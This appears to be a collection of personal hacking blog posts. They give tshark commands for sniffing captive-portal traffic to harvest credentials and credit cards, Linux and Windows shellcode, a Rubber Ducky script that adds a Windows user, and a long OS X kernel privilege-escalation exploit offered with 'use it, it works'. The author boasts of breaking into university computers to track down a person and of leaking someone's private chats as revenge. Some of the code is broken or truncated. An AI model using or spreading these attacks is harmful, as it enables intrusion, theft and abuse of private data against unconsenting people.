Attacking captive portals

I live near to USA, and there is so common the use of captive portals for everything, basically if you go to the bathroom you’ll find a captive portal to use the internet while you.. psss… the thing you do at the bathroom.

The captive portals are amazing places to steal juicy information like credit cards, passwords, credit cards, chats, credit cards, hashes, tokens and.. ah yeah!, credit cards.

Here my tips:

# airmon-ng start wlan0 [chanel]

# tshark -i wlanmon0 -Y "http.request.method == "GET"" || tshark -i wlanmon0 -Y "http.request.method == "POST"" | tee -a get3.

(Oh!.. this can redirect also de encrypted traffic)

# grep *.cgi *.pcap | while read line; do NOMBRE=$(echo $line | awk -F "PSM_LAST_NAME"={'print $2'} | cut -d' ' -f1) CUARTO= =$(echo $line | awk -F "ROOM_NO"={'print $2'} | cut -d' ' -f1)

(Also you can create a BASH script for the past line if you’re using a Pineapple).


Be careful, most part of the captive portals are protected by a SOC or at least an IDS… so… chill out 😉

Talk: wget /wp-admin/

Tomorrow I’ll be offering a talk for the Universidad Tres Culturas, on 10 am at Mexico City for the “Primer congreso internacional de sistemas computacionales”.

I’ll talk about how I detected a botnet attacking a lot of hosts around the world. A little basic, because is a talk for students, but I think you’ll get a lot of ideas about how to attack large network ranges, and how the bad guys are doing it.

Linux/x86 IDS evasion shellcode

When I was young I learned from Sergio Alvarez (Shadow), maybe the most skilled shellcoder from Argentina, a lot of the most weird, strange and amazing shellcoding techniques. Shadow is simply awesome..

This is a PoC of shellcode I developed using his technique to self-modifying opcodes to a multipurpose, in this case is to avoid an IDS… yes I know, maybe you can’t believe me, but just try!.. it’s an old shellcode but is one of the most advanced techniques in the world 😉

char rockaleta[] = "\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41";
int main ()
printf("Length: %d bytes\n", strlen(rockaleta));
int (*sc)() = (int (*)())rockaleta;
return 0;

Adding a Windows user with an USB rubber ducky

A lot of time ago I audited a company about ISO 27001.. one of the controls talk about avoiding USB ports. Well, I cheated to evidence the use of a USB memory… I used a USB Rubber Ducky, which actually is a keyboard.. so… it was impossible to stop.

.. yes, I sucks.

DELAY 5000
STRING cmd.exe
STRING net user test ..pass!! /add


Here you have one of my favorite guys… I developed it around 2 years ago, maybe.

The story is that I had a friend named SparkchicK and we traveled to Guadalajara to find his boyfriend, so I hacked a lot of computers in an university to found him. And.. I don’t know why at this university they have a OS X server, it’s so strange, I have never seen something like this, so I started to work using a public vulnerability and that’s all… this is my code, a privilege scalation exploit.. actually I can’t remember the CVE… hum…

Around a month ago… someone tell me bad things, and near to the birthday of his ex-girlfriend I looked to give her a little gift, all the conversations where “my friend” asked to other girls for nude photos and other things… yeah, I enjoyed a lot when she slapped him in public, but I enjoyed so much when I was drinking a great beer while he was crying and suffering because she reads all…

So… use it, it works.

And if you know a guy like “my friend” please tell me, I’ll hack him for free… I knew two persons who did me the same… so, for me will be a pleasure.

Well… here the code.

Cheers c[xxx]


static uint64_t kslide=0;
#define ALLOCS 0x100
#import "import.h"
#import "lsym_gadgets.h"
static mach_port_t servicea = 0;
static mach_port_t servicex = 0;
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;

__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
__attribute__((always_inline)) static inline
uint64_t leak_heap_ptr(io_connect_t* co) {
io_connect_t conn = MACH_PORT_NULL;
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
uint64_t scalarO_64=0;
uint32_t outputCount = 1;
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
if (!scalarO_64) {
puts("failed infoleaking");
scalarO_64 <<= 8; scalarO_64 |= 0xffffff0000000000; return scalarO_64; } typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_descriptor_t desc; mach_msg_trailer_t trailer; } oolmsg_t; static uint16_t off_w = 0; __attribute__((always_inline)) static inline void or_everywhere(uint64_t add) { io_connect_t conn = MACH_PORT_NULL; IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt alloc(0, 0x1000); volatile uint64_t* mp = (uint64_t*) 0; if(!off_w) { while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)0xC00; mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); IOServiceClose(conn); char* kp=(char*)0xC00; while ((uint32_t)kp < 0x1000) { if (*kp == 0x10) { break; } kp++; } if ((uint32_t)kp == 0x1000) { vm_deallocate(mach_task_self(), 0, 0x1000); puts("not vulnerable"); exit(-1); } mp=0; while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); IOServiceClose(conn); if (*((char*)0xC00)!=0x10) { vm_deallocate(mach_task_self(), 0, 0x1000); puts("wrong offset"); exit(-2); } off_w = (uint16_t) kp - 0xc00; } mp=0; while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)(add - off_w); mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); vm_deallocate(mach_task_self(), 0, 0x1000); IOServiceClose(conn); } __attribute__((always_inline)) static inline void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); if(!*msgp){ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); } bzero(msg,sizeof(oolmsg_t)); msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->body.msgh_descriptor_count = 1;
msg->desc.address = (void *)vz;
msg->desc.size = svz;
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
__attribute__((always_inline)) static inline
char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return msg->desc.address;
int main(int argc, char** argv, char** envp){
if (getuid() == 0) {
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
if((int)main < 0x5000) execve(argv[0],argv,envp); lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); if (!mapping_kernel || !mapping_kernel->map) {
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
kslide = kext_pointer("") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
servicex = IOIteratorNext(iterator);
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
servicea = IOIteratorNext(iterator);
uint64_t c = 0;
if (c != 0x10) {
puts("not vulnerable");
return 2;
int ctr=0;
#define DO_TIMES(x) for(ctr=0;ctr__rop_chain;

or_everywhere(heap_info[1].kobject+0x220); // set online
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0x10;
mp[0] = (uint64_t)0;
mp[1] = (uint64_t)vtable;
mp[2] = (uint64_t)&mp[1];
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
vm_deallocate(mach_task_self(), 0, 0x1000);
if (getuid() == 0) {

puts("didn't get root, but this system is vulnerable. ");
puts("kernel heap may be corrupted");
return 1;

Windows 32bit messagebox shellcode

char quesadilla_de_queso[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
int main(int argc, char **argv){int (*f)();f = (int (*)())quesadilla_de_queso;(int)(*f)();}